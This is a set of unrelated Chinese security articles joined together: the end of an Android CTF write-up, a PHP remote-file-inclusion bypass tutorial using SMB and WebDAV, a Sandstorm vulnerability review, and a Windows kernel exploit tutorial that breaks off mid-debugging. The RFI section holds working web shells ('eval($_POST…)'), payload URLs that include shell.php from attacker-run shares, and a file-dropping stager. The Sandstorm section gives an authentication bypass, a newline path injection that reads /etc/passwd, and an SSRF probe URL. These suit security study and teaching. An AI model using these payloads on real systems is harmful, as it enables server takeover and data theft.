b()最终是异或36,但是该异或代码在运行时加载的so中进行了修改,异或了18,因此通过36异或出来的d并不是真正的dex。加载后的dex以及
odex我也删除掉了。
public void a() {
this.b();
String v1 = this.e.getCacheDir().getPath();
DexClassLoader v0 = new DexClassLoader(String.valueOf(this.e.getDir(Load.b, 0).getPath()) +
"/" + Load.d, v1, null, this.e.getClassLoader());
try {
Class v0_2 = v0.loadClass("com.example.dynamic.Init");
Constructor v2 = v0_2.getConstructor(Context.class);
Method v0_3 = v0_2.getMethod("a");
this.f = v2.newInstance(this.e);
v0_3.invoke(this.f);
}
catch(Exception v0_1) {
v0_1.printStackTrace();
}
new File(v1, "bb.dex").delete();
new File(this.e.getDir(Load.b, 0).getPath(), "bb.jar").delete();
}
so存在简单的ptrace以及traceid反调试,想办法获取到d.dex后,进行反编译:可以知道该dex加载后开启了127.0.0.1:20151端口。处于监听状态获取数据交互。
public ServerSocketThread(Context arg2) {
super();
this.c = arg2;
this.b = 20151;
}
public final void run() {
try {
this.a = new ServerSocket();
this.a.bind(new InetSocketAddress(InetAddress.getLocalHost(), this.b));
while(true) {
Socket v0_1 = this.a.accept();
Log.d("socket", "Socket Acccept!Address=" + v0_1.getInetAddress().toString());
if(v0_1 != null) {
new b(this.c, v0_1).start();
}
Log.d("socket", "Socket Execute Thread Started!Address=" + v0_1.getInetAddress().toString());
}
}
catch(Exception v0) {
v0.printStackTrace();
return;
}
}
其中,处理逻辑中,找到一处可以通过接受端口传递进来的参数,进行不同的逻辑处理,最后解析参数触发startservice,调用主dex中任意service以及extras的逻辑。
public class a {
public static final String b = "mobile://rois/?";
static {
a.a = new HashMap();
a.a.put("start", Integer.valueOf(3));
a.a.put("handle", Integer.valueOf(4));
a.a.put("test", Integer.valueOf(1));
a.a.put("location", Integer.valueOf(2));
a.a.put("getinfo", Integer.valueOf(5));
a.a.put("sms", Integer.valueOf(6));
a.a.put("contact", Integer.valueOf(7));
}
public a() {
super();
}
}
因此,nc 127.0.0.1
20151,向该端口传递数据,尝试触发该逻辑,以下逻辑为需要触发的逻辑。接受参数后,会对xx=xx&xx=xx&xx=xx之类的输入,进行解析。获取到相关的输入数据后,构造特定的Intent,包括组件名,extras数据等等,最后通过startservice将intent传递到主dex的逻辑中。
label_184:
if(!v1[1].startsWith("cm=")) {
goto label_93;
}
if(!v1[2].startsWith("ac=")) {
goto label_93;
}
if(!v1[3].startsWith("extr=")) {
goto label_93;
}
v0_4 = v2.getQueryParameter("cm");
v1_1 = v2.getQueryParameter("ac");
String v2_2 = v2.getQueryParameter("extr");
Intent v3_1 = new Intent();
if(v0_4 != null) {
v3_1.setComponent(new ComponentName(this.a, v0_4));
}
if(("true".equals(v1_1)) && v2_2 != null) {
System.out.println(v2_2);
v0_5 = v2_2.split("-");
if(v0_5.length == 6) {
v3_1.putExtra(v0_5[0], v0_5[1]);
v3_1.putExtra(v0_5[2], v0_5[3]);
v3_1.putExtra(v0_5[4], v0_5[5]);
}
}
this.a.startService(v3_1);
触发调用listenService的逻辑后,intent根据相关解析相关逻辑约束,在满足某约束的输入下,进而发送双无intent的通知。该输入MD5就是所谓的flag。
(但在ListenService中我留了一个坑,v1.getString("perm", "per"),其中key
"perm"我在so自篡改成了PERM)。
public int onStartCommand(Intent arg5, int arg6, int arg7) {
if(arg5 != null) {
Bundle v1 = arg5.getExtras();
Iterator v2 = v1.keySet().iterator();
while(v2.hasNext()) {
v2.next();
}
if(v1 != null) {
String v0 = v1.getString("name", "name");
if("log".equals(v1.getString("action", "act"))) {
this.b = new com.service.ListenService$b(this, ((Context)this), v0, v1.getString(
"perm", "per"));
this.c = new Thread(this.b);
this.c.start();
}
}
}
return super.onStartCommand(arg5, arg6, arg7);
}
因此向监听端口发送:action=start&cm=com.service.ListenService&ac=true&extr=name-test-action-log-PERM-READ_F
即可触发allow通知,该通知存放一个双无intent.再通过修改intent即可触发TargetActivity.
ps:自己反编译混淆后的apk才发现看得还是挺蛋疼的,又坑了大家一波。
#
# **0x04 小结**
此次RCTF2015
Mobile类题目,我尝试了一些漏洞的思路进行出题,也许还会存在我没有考虑到的问题,也或许获取flag的方式让大家不解,包括让大家入坑的都请见谅哈。希望有兴趣童鞋可以尝试把Mobile的CTF题出得更全面、更有意思。
最后。参加RCTF的小伙伴们。
#
# 0x05 参考
1. [http://jaq.alibaba.com/blog.htm?spm=0.0.0.0.v5UAtC&id=76](http://jaq.alibaba.com/blog.htm?spm=0.0.0.0.v5UAtC&id=76)
2. <http://drops.wooyun.org/mobile/6973>
3. <http://xteam.baidu.com/?p=77>
4. <http://blog.csdn.net/freshui/article/details/13620647>
5. <https://github.com/Xbalien/GuardDroid> | 社区文章 |
**作者：Qftm**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！**
**投稿邮箱：[email protected]**
# 前言
关于远程文件包含（Remote File Inclusion）漏洞，自从 `php version 5.2`
之后一直是一个比较鸡肋的问题！！！直到2019年5月份，国外的一篇文章（[RFI-SMB](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html)）和推文（Twitter）吸引了大家的注意，其大概内容主要是通过PHP远程文件包含中
`allow_url_fopen`和`allow_url_include`
仅限制`http://`和`ftp://`的缺陷，利用SMB协议的文件共享进行绕过与包含。虽说，SMB如今在国内的局限性很大，但是在一定程度上，打破了RFI
URL包含限制的局面，同时，也启发了针对 `RFI`
的扩展利用和探索。正因如此，本文在其之前的基础上又进行了拓展利用与探索，通过巧用`WebDAV`来绕过URL包含限制Getshell，打破了如今`SMB`的局限性。
# RFI 基础
## 四个函数
PHP中引发文件包含漏洞的通常主要是以下四个函数：
include()
http://www.php.net/manual/en/function.include.php
include_once()
http://php.net/manual/en/function.include-once.php
require()
http://php.net/manual/en/function.require.php
require_once()
http://php.net/manual/en/function.require-once.php
## 函数功能
当利用这四个函数来包含文件时，不管文件是什么类型（图片、txt等），都会直接作为php文件进行解析。
## 函数差异
**include()**
include() 函数包含出错的话，只会提出警告，不会影响后续语句的执行
**require()**
require() 函数包含出错的话，则会直接退出，后续语句不在执行
**include_once() 和 require_once()**
require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了，则
require_once() 和 include_once() 则不会再包含它，以避免函数重定义或变量重赋值等问题。
`二次包含`
`一次包含`
# RFI 限制
用一个简单的例子构造一个含有文件包含漏洞的`Demo`，演示一下远程文件包含漏洞的利用，代码如下：
<php
$file = $_GET['file'];
include $file;
>
在上面的漏洞代码中，file参数从GET请求中取值，并且是用户可控的动态变量。当file接收到传入的参数值后，`include()`函数会直接进行内容包含。由于，文件包含函数加载的参数`file`没有经过任何的过滤或者严格的定义，可以由攻击者进行控制发起恶意的请求，包含其它恶意文件，从而让应用程序执行攻击者精心准备的恶意脚本，具体如下：
攻击者准备的恶意脚本：`shell.php`
<php @eval($_POST['Qftm']);?>
攻击者发起的恶意请求：`payload`
https://www.qftm.com/index.php?file=http://10.10.10.10/shell.php
通过上述请求，可以远程包含一个shell，一旦攻击者的恶意请求成功之后，可以达到任意代码执行漏洞也就是`RCE`。虽然用户没有对文件参数进行控制，但是想要得到一个真正的`RCE`还需要满足一个条件，如下`php.ini`配置：
allow_url_fopen=On
allow_url_include=On
只有当这两个配置设置成On时，最终的漏洞才能利用成功，遗憾的是PHP官方在 `php version 5.2`
之后默认的关闭了`allow_url_include`，是不是突然感觉没有了希望！！！不要放弃，下面利用我们强大的`Bypass`功能进行限制绕过。
# RFI 缺陷
对于RFI的缺陷，先来看一下PHP针对`allow_url_fopen`和`allow_url_include`的配置说明
`php7.x -> php.ini`
Fopen wrappers
Whether to allow the treatment of URLs (like http:// or ftp://) as files.
http://php.net/allow-url-fopen
allow_url_fopen=On
Whether to allow include/require to open URLs (like http:// or ftp://) as files.
http://php.net/allow-url-include
allow_url_include=Off
从配置中可以看到 `allow_url_fopen`和`allow_url_include`主要是针对两种协议起作用：`http://`、
`ftp://`。
PHP针对RFI URL包含限制主要是利用`allow_url_include=Off`来实现，将其设置为Off，可以让PHP不加载远程HTTP或FTP
URL，从而防止远程文件包含攻击。那么，我们是不是可以这样想，有没有什么其它协议可以让我们去包含远程服务器文件，答案是肯定的，例如`SMB`、`WebDAV`等协议。
既然这样，攻击者就可以利用这个缺陷，使用相应的协议进行Bypass。在这个过程中，即使`allow_url_fopen`和`allow_url_include`都设置为Off，PHP也不会阻止相应的远程文件加载。
# RFI 绕过
在介绍`WebDAV Bypass`的时候先来简单了解一下`SMB Bypass`，因为他们利用道理都差不多。
## SMB Bypass
SMB协议主要于网络文件的共享，SMB所在端口445。PHP在远程匿名加载smb所共享的文件时并不会对其进行拦截。
### 测试代码
<php
$file=$_GET['file'];
include $file;
>
### 攻击原理
unc -> smb
### 攻击场景
当易受攻击的PHP应用程序代码尝试从攻击者控制的SMB服务器共享加载PHP Web
shell时，SMB共享应该允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此，一旦易受攻击的应用程序尝试从SMB共享访问PHP
Web shell，SMB服务器将不会要求任何凭据，易受攻击的应用程序将包含Web shell的PHP代码。
### 环境配置
首先，重新配置PHP环境，在php.ini文件中禁用`allow_url_fopen`以及`allow_url_include`。然后，配置SMB服务器具有匿名读访问权限。
* **PHP环境设置**
首先，在受害者主机上配置php.ini，将`allow_url_fopen`和`allow_url_include`设置为Off
然后重启服务查看`phpinfo()`配置是否生效
* **SAMBA服务器环境配置**
需要使用匿名读取访问权限配置SAMBA服务器（Ubuntu18.04）
Samba是在Linux和UNIX系统上实现SMB协议的一个软件
（1）安装SAMBA服务器
apt-get install samba
（2）创建SMB共享目录和 `php web shell`
mkdir /var/www/html/pub/
touch /var/www/html/pub/shell.php
（3）配置新创建的SMB共享目录的权限
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
（4）编辑samba配置文件 `/etc/samba/smb.conf`
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[Qftm]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
（5）重新启动SAMBA服务器以应用配置文件`/etc/samba/smb.conf`中的新配置
service smbd restart
成功重新启动SAMBA服务器后，尝试访问SMB共享并确保SAMBA服务器不要求凭据。
### Getshell
在环境都配置完且验证之后，利用`samba`目录`/var/www/html/pub`中共享的WebShell进行GetShell
* `unc->payload`
http://127.0.0.1/FI/index.php?file=\\192.33.6.145\qftm\shell.php
* `shell.php`
<php @eval($_POST['admin']);>
* 蚁剑连接
### SMB总结
针对smb利用的局限性，因为这种`unc`只能是在windows下使用，而且，`smb端口(445)`
在国内已经被封杀的差不多了（勒索病毒！！！），很难应用到实际中，但是其他的像`webdav`这种同理也是可以被包含的，且利用的价值更大。
## WebDAV Bypass
WebDAV（[Web 分布式创作和版本管理](http://webdav.org/)）是一项基于 HTTP/1.1
协议的通信协议。它扩展了HTTP/1.1 协议，在Get、Post、Put、Delete 等HTTP标准方法外添加了新方法，使应用程序可对Web
Server直接读写，并支持写文件锁定(Locking)和解锁(Unlock)，以及文件的版本控制。
PHP在远程匿名加载WebDAV所共享的文件时并不会对其进行拦截。
### 测试代码
<php
$file=$_GET['file'];
include $file;
>
### 攻击原理
类unc -> WebDAV
### 攻击场景
当易受攻击的PHP应用程序代码尝试从攻击者控制的WebDAV服务器共享加载PHP Web
shell时，WebDAV共享应该允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的WebDAV服务器。因此，一旦易受攻击的应用程序尝试从WebDAV共享访问PHP
Web shell，WebDAV服务器将不会要求任何凭据，易受攻击的应用程序将包含Web shell的PHP代码。
### 环境配置
同SMB环境配置一样，首先，重新配置PHP环境，在php.ini文件中禁用`allow_url_fopen`以及`allow_url_include`。然后，配置WebDAV服务器。
* **PHP环境设置**
首先，在受害者主机上配置php.ini，将`allow_url_fopen`和`allow_url_include`设置为Off
然后重启服务查看`phpinfo()`配置是否生效
* **WebDAV服务器环境配置**
需要使用匿名读取访问权限配置WebDAV服务器。
**1、Ubuntu18.04手动搭建WebDAV服务器**
（1）安装Apache Web服务器
sudo apt-get install -y apache2
（2）在Apache配置中启用WebDAV模块
sudo a2enmod dav
sudo a2enmod dav_fs
（3）创建WebDAV共享目录`webdav`和 `php web shell`
sudo mkdir -p /var/www/html/webdav
sudo touch /var/www/html/webdav/shell.php
（4）将文件夹所有者更改为您的Apache用户，`www-data`以便Apache具有对该文件夹的写访问权
sudo chown -R www-data:www-data /var/www/
（5）编辑WebDAV配置文件 `/etc/apache2/sites-available/000-default.conf`
不需要启用身份验证
DavLockDB /var/www/html/DavLock
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
Alias /webdav /var/www/html/webdav
<Directory /var/www/html/webdav>
DAV On
</Directory>
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
（6）重新启动Apache服务器，以使更改生效
sudo service apache2 restart
成功重新启动Apache服务器后，尝试访问WebDAV共享并确保WebDAV服务器不要求凭据。
除了上面在Ubuntu上一步步安装WebDAV服务器外，还可以利用做好的Docker镜像。
**2、WebDAV Docker镜像**
推荐使用Docker镜像方式去安装利用，免去一些因环境或配置不当而产生的问题
（1）拉取webdav镜像
镜像地址：`https://hub.docker.com/r/bytemark/webdav`
（2）用docker启动一个webdav服务器
docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
（3）在`~/webdav/data`目录里面共享自己php脚本
（5）验证Webdav服务器
浏览器验证
终端验证
### Getshell
在环境都配置完且验证之后，利用`webdav`目录`~/webdav/data`中共享的WebShell进行GetShell
* `类unc->payload`
http://127.0.0.1/FI/index.php?file=//172.17.0.2//webdav/shell.php
* `shell.php`
<?php echo eval(system("whoami"));phpinfo();?>
<?PHP fputs(fopen('poc.php','w'),'<?php @eval($_POST[Qftm])?>');?>
为什么这个不能直接加载一句话木马呢，因为使用PHP文件包含函数远程加载Webdav共享文件时，不能附加消息(GET/POST)，但是我们可以自定义`shell.php`，通过服务器加载远程`shell.php`给我们自动生成一个`Webshell`。
请求构造的payload
从图中可以看到远程加载`shell.php`利用成功，可以根据状态码分析其加载过程：
其中`code 207`是由WebDAV(RFC
2518)扩展的状态码，代表之后的消息体将是一个XML消息，并且可能依照之前子请求数量的不同，包含一系列独立的响应代码。
* 蚁剑连接
连接远程加载`shell.php`生成的`Webshell->poc.shell`
### WebDAV总结
`webdav`如今很多人都将其作为自己的个人数据共享存储服务器，其局限性远远小于`SMB`。
**Refference**
1. <http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html>
2. <https://helpcenter.onlyoffice.com/server/community/connect-webdav-server-ubuntu.aspx>
* * * | 社区文章 |
作者：[Shaolin@DEVCORE](https://devco.re/blog/2018/01/26/Sandstorm-Security-Review-CVE-2017-6200/ "Shaolin@DEVCORE")
English Version：[《Sandstorm Security
Review》](https://devco.re/blog/2018/01/26/Sandstorm-Security-Review-CVE-2017-6200-en/ "《Sandstorm Security Review》")
#### 前言
2017 年初，我們有個滲透測試專案，專案的標的架構在 [Sandstorm](https://sandstorm.io/ "Sandstorm")
之上。Sandstorm 是一款 Web 平台，使用者可以輕易的在該平台安裝各種 Web App（如
WordPress、GitLab…），該平台最大的特色在於這些 App 都是在沙箱中執行。因此，即使我們測試中找到多項 App
弱點，也無法對平台本身造成威脅。
為了讓弱點效益最大化，我們將一部分精力轉移到研究 Sandstorm 原始碼，目的是跳脫 App
的沙箱環境看有沒有機會影響整台伺服器。最後，我們找到了幾個少見且有趣的弱點，並申請 CVE 編號如下：
* 阻斷服務攻擊（Denial of Service），CVE-2017-6198
* 繞過授權模式（Bypassing Authorization Schema），CVE-2017-6199
* 不安全的直接存取物件（Insecure Direct Object References），CVE-2017-6200
* 服務端請求偽造（Server-Side Request Forgery），CVE-2017-6201
#### 漏洞細節
##### CVE-2017-6198
這是一個消耗系統資源造成的 DoS。起因是 Sandstorm 並未完善限制每個 App 所能使用的資源，在
`src/sandstorm/supervisor.c++` 僅限制了每個程序能夠打開的最多檔案數，相關程式碼如下：
void SupervisorMain::setResourceLimits() {
struct rlimit limit;
memset(&limit, 0, sizeof(limit));
limit.rlim_cur = 1024;
limit.rlim_max = 4096;
KJ_SYSCALL(setrlimit(RLIMIT_NOFILE, &limit));
}
Ref: <https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/supervisor.c++#L824>
由於 supervisor 未限制子程序數量以及未限制儲存空間用量，因此攻擊者只要讓 App 不斷執行 fork（通常稱為 Fork
Bomb）或是大量使用硬碟空間，就會造成伺服器資源不足而中斷服務。
##### CVE-2017-6199
通常 Sandstorm 會設定特定組織成員才能擁有特殊的權限，而系統預設的組織成員判斷方式是檢查使用者 email
中「@」符號最後的字串是否在白名單內，相關程式碼如下：
if (identity.services.email.email.toLowerCase().split("@").pop() === emailDomain) {
return true;
}
Ref: <https://github.com/sandstorm-io/sandstorm/blob/v0.202/shell/packages/sandstorm-db/db.js#L1112>
因此，當攻擊者填入的 email 為 `[email protected],[email protected]`，系統便會將攻擊者視為 `aaa.bbb` 組織的使用者。
這項攻擊得以成功還有另外一個關鍵點，發生在 Sandstorm 登入的一個特色上。使用 Sandstorm 服務不需要設定密碼，使用者每次欲登入時填入
email，系統便會發送一組每次皆不同的隨機密碼作為登入使用。上述的例子之所以能夠成功，就是因為系統將
`[email protected],[email protected]` 視為一個 aaa.bbb 網域的使用者，而隨機密碼會發送到 `[email protected]` 以及
`[email protected]` 兩個不同信箱中，只要可以收到密碼就可以登入使用服務。
直接案例說明：
1.在 Sandstorm 限定只有用 `aaa.bbb` 網域才可以登入。
2.登入處 email 欄位填入 `[email protected],[email protected]`。（註：email 欄位在前端有用 HTML5
Validation，但後端並無檢查 email 是否合法）
3.在 [email protected] 信箱收到隨機密碼。
4.成功登入，[email protected],[email protected] 被視為一個使用者，且為 aaa.bbb 組織成員！
在我們的滲透測試中，標的網站是允許認證的網域使用者自行安裝 App
的。因此透過這項繞過弱點，攻擊者可以再搭配本篇其他漏洞（CVE-2017-6198、CVE-2017-6200、CVE-2017-6201）做更進一步的攻擊。
##### CVE-2017-6200
這是一個有趣的弱點，總共組合了兩個驗證上的小疏忽才能達成攻擊！ 在 Sandstorm 中每個 Grain（Sandstorm
container，簡單來說就是一個 App 沙箱）的擁有者都可以下載該 App 的備份資料，但由於打包流程中存在兩個弱點，因此攻擊者可以打包沙箱外伺服器的
`/etc` 和 `/run` 下的檔案。發生的問題如下：
1. 打包的流程隱藏了 `/var`、`/proc`、`/etc` 等敏感目錄，卻沒有隱藏 `/etc.host` 及 `/run.host` 這兩個目錄。這兩個目錄分別是伺服器下 `/etc` 和 `/run` 的別名，是較後期的功能。
2. 系統會將欲打包的合法檔案整理出來透過標準輸入介面傳給 zip 打包，而判斷檔案和檔案間的區隔是靠換行符號(`\n`)。因此，當檔名中出現換行符號，可以插入非法的路徑檔名藉由 zip 打包。程式雖然有檢查檔名是否存在換行符，卻疏忽了檢查目錄名。
Ref: <https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/backup.c%2B%2B#L271>
綜合上述兩個弱點，攻擊者只要在沙箱內建立一個目錄 `/var/exp\n/etc.host/passwd\n`，就可以透過下載備份的功能取得含有伺服器
`/etc/passwd` 檔案的備份檔。
實際情境截圖：
1.先在 Grain 裡新建目錄 `/var/exp\n/etc.host/passwd\n`，並用 Grain Backup 的功能下載備份檔。
2.解開備份檔後在 `etc.host` 目錄下看到沙箱外伺服器的 `/etc/passwd`
##### CVE-2017-6201
這是經典的 SSRF（Server-Side Request Forgery）問題，在 Sandstorm 安裝 App
流程沒有限制安裝來源，攻擊者提供一個安裝 URL 就能讓伺服器存取該位置。該問題發生在
`https://[target]/install/xxxChangeItEveryTimexxx?url=http://127.0.0.1:22/`，這個範例連結得以確認伺服器的
22 port 是否開啟。
（Parse Error，代表伺服器 22 port 開啟）
#### 後續
在提交弱點後，Sandstorm 官方非常迅速修正了弱點，並且發表了一篇文章：
<https://sandstorm.io/news/2017-03-02-security-review>
在這次滲透經驗中，我們認為 Sandstorm 是一款安全、有出色防禦機制的平台。主要原因取決於它的一個核心設計理念：就是假設使用者安裝的 App
都是惡意的。以這樣的前提出發去保護核心系統的安全，建立起來的防禦機制自然是全面且完善的。除了伺服器本身的保護，一些常見的客戶端攻擊（例如：XSS、CSRF）也透過
Sandstorm 特殊的隨機 hostname 等機制保護的很好。因此攻擊者很難從 App 本身去破壞伺服器，也很難透過攻擊客戶端去提升使用者的權限。
儘管是如此優秀的平台，仍舊會因一些小地方疏忽導致攻擊者有機可乘。這次發現弱點的地方多半在於 library
的誤用和新功能的撰寫沒有考慮到舊有防禦架構。這在其他專案也是常見的問題，藉機也提醒開發者在開發新功能時應做全面的安全檢視，以避免防禦落差所導致的弱點。
* * * | 社区文章 |
# 0x00：前言
这是 Windows kernel exploit 系列的最后一篇，如果你按顺序观看我之前文章并且自己调过的话，应该对各种漏洞类型在Windows 7
下的利用比较熟悉了，其他的话我放在最后说把，现在进入我所谓的最后一个专题，未初始化的堆变量利用，看此文章之前你需要有以下准备：
* Windows 7 x86 sp1虚拟机
* 配置好windbg等调试工具，建议配合VirtualKD使用
* HEVD+OSR Loader配合构造漏洞环境
传送门：
[+] [Windows Kernel Exploit(一) -> UAF](https://xz.aliyun.com/t/5493)
[+] [Windows Kernel Exploit(二) -> StackOverflow](https://xz.aliyun.com/t/5536)
[+] [Windows Kernel Exploit(三) -> Write-What-Where](https://xz.aliyun.com/t/5615)
[+] [Windows Kernel Exploit(四) -> PoolOverflow](https://xz.aliyun.com/t/5709)
[+] [Windows Kernel Exploit(五) -> Null-Pointer-Dereference](https://xz.aliyun.com/t/5721)
[+] [Windows Kernel Exploit(六) -> Uninitialized-Stack-Variable](https://xz.aliyun.com/t/5759)
# 0x01：漏洞原理
## 未初始化堆变量
我们还是先用IDA分析`HEVD.sys`，找到相应的函数`TriggerUninitializedHeapVariable`，这里首先还是初始化了异常处理机制，验证我们传入的`UserBuffer`是否在
user mode ，然后申请了一块分页池，将我们的`UserBuffer`给了`UserValue`，判断是否等于 0xBAD0B0B0
，如果相等则给回调函数之类的赋值，如果不相等则直接调用回调函数，根据前一篇的经验，这里肯定是修改回调函数为我们shellcode的位置，最后调用提权
int __stdcall TriggerUninitializedHeapVariable(void *UserBuffer)
{
int result; // eax
int UserValue; // esi
_UNINITIALIZED_HEAP_VARIABLE *UninitializedHeapVariable; // [esp+18h] [ebp-1Ch]
CPPEH_RECORD ms_exc; // [esp+1Ch] [ebp-18h]
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0xF0u, 4u);
UninitializedHeapVariable = (_UNINITIALIZED_HEAP_VARIABLE *)ExAllocatePoolWithTag(PagedPool, 0xF0u, 0x6B636148u);
if ( UninitializedHeapVariable )
{
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Type: %s\n", "PagedPool");
DbgPrint("[+] Pool Size: 0x%X\n", 0xF0);
DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);
UserValue = *(_DWORD *)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", *(_DWORD *)UserBuffer);
DbgPrint("[+] UninitializedHeapVariable Address: 0x%p\n", &UninitializedHeapVariable);
if ( UserValue == 0xBAD0B0B0 )
{
UninitializedHeapVariable->Value = 0xBAD0B0B0;
UninitializedHeapVariable->Callback = (void (__stdcall *)())UninitializedHeapVariableObjectCallback;
memset(UninitializedHeapVariable->Buffer, 0x41, 0xE8u);
UninitializedHeapVariable->Buffer[0x39] = 0;
}
DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
if ( UninitializedHeapVariable )
{
DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value);
DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback);
UninitializedHeapVariable->Callback();
}
result = 0;
}
else
{
DbgPrint("[-] Unable to allocate Pool chunk\n");
ms_exc.registration.TryLevel = 0xFFFFFFFE;
result = 0xC0000017;
}
return result;
}
我们查看一下源码文件是如何说明的，安全的方案先检查了是否存在空指针，然后将`UninitializedMemory`置为NULL，最后安全的调用了回调函数，而不安全的方案则在不确定
Value 和 Callback 的情况下直接调用了回调函数
#ifdef SECURE
else {
DbgPrint("[+] Freeing UninitializedMemory Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedMemory);
//
// Free the allocated Pool chunk
//
ExFreePoolWithTag((PVOID)UninitializedMemory, (ULONG)POOL_TAG);
//
// Secure Note: This is secure because the developer is setting 'UninitializedMemory'
// to NULL and checks for NULL pointer before calling the callback
//
//
// Set to NULL to avoid dangling pointer
//
UninitializedMemory = NULL;
}
#else
//
// Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability
// because the developer is not setting 'Value' & 'Callback' to definite known value
// before calling the 'Callback'
//
DbgPrint("[+] Triggering Uninitialized Memory in PagedPool\n");
#endif
//
// Call the callback function
//
if (UninitializedMemory)
{
DbgPrint("[+] UninitializedMemory->Value: 0x%p\n", UninitializedMemory->Value);
DbgPrint("[+] UninitializedMemory->Callback: 0x%p\n", UninitializedMemory->Callback);
UninitializedMemory->Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
漏洞的原理我们很清楚了，现在就是如何构造和利用的问题了，如果你没有看过我之前的文章，建议看完这里之后去看看池溢出那一篇，最好是读一下文章中所提到的Tarjei
Mandt 写的 Kernel Pool Exploitation on Windows 7，对Windows 7 内核池有一个比较好的认识
# 0x02：漏洞利用
## 控制码
我们还是从控制码入手，在`HackSysExtremeVulnerableDriver.h`中定位到相应的定义
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL IOCTL(0x80C)
然后我们用python计算一下控制码
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x80c << 2) | 0x00000003)
'0x222033'
我们验证一下我们的代码，我们先传入 buf = 0xBAD0B0B0 观察，构造如下代码
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0;
DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}
int main()
{
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
//__debugbreak();
system("pause");
return 0;
}
这里我们打印的信息如下，如我们所愿，并没有异常发生
3: kd> g
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x9A7FFF10
[+] UserValue: 0xBAD0B0B0
[+] UninitializedHeapVariable Address: 0x97EF4AB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0xBAD0B0B0
[+] UninitializedHeapVariable->Callback: 0x8D6A3D58
[+] Uninitialized Heap Variable Object Callback
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
我们尝试传入不同的值观察是否有异常发生
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = { 0 };
*(PDWORD32)(buf) = 0xBAD0B0B0+1;
DeviceIoControl(hDevice, 0x222033, buf, 4, NULL, 0, &bReturn, NULL);
}
我们在调用运行效果如下，这里被异常处理所接受，这里我们Callback有一个值，我们查看之后发现是一个无效地址，我们希望的当然是指向我们的shellcode，所以就需要想办法构造了
****** HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE ******
[+] Pool Tag: 'kcaH'
[+] Pool Type: PagedPool
[+] Pool Size: 0xF0
[+] Pool Chunk: 0x9A03C430
[+] UserValue: 0xBAD0B0B1
[+] UninitializedHeapVariable Address: 0x8E99BAB8
[+] Triggering Uninitialized Heap Variable Vulnerability
[+] UninitializedHeapVariable->Value: 0x00000000
[+] UninitializedHeapVariable->Callback: 0xDD1CB39C
Breakpoint 0 hit
